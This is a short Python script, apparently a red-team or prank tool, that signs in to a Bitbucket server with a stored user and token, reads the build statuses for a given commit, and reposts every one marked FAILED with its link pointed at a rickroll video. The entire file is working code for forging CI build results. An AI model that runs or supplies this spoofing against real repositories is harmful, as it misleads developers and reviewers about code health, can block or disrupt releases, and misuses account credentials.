bitbucket-build-spoofing.py

import sys
import requests
import dotenv
import os

dotenv.load_dotenv()

domain = os.environ["BITBUCKET_DOMAIN"]
user = os.environ["BITBUCKET_USER"]
password = os.environ["BITBUCKET_TOKEN"]

def get_builds(commit_id: str):    
    url = f'{domain}/rest/build-status/1.0/commits/'+commit_id
    print(url)
    r = requests.get(url, auth=(user, password), headers={'Content-Type': 'application/json', 'User-Agent': 'Hello SOC' })
    return r.json()["values"]


def spoof_builds(commit_id: str, builds):    
    url = f'{domain}/rest/build-status/1.0/commits/'+commit_id
    for build in builds:
        build['state'] = 'FAILED'
        build['url'] = 'https://www.youtube.com/watch?v=dQw4w9WgXcQ'    
        r = requests.post(url, auth=(user, password), json=build)
        print(r.status_code)
    


if __name__ == "__main__":
    commit_id = sys.argv[1]
    builds = get_builds(commit_id)
    spoof_builds(commit_id, builds)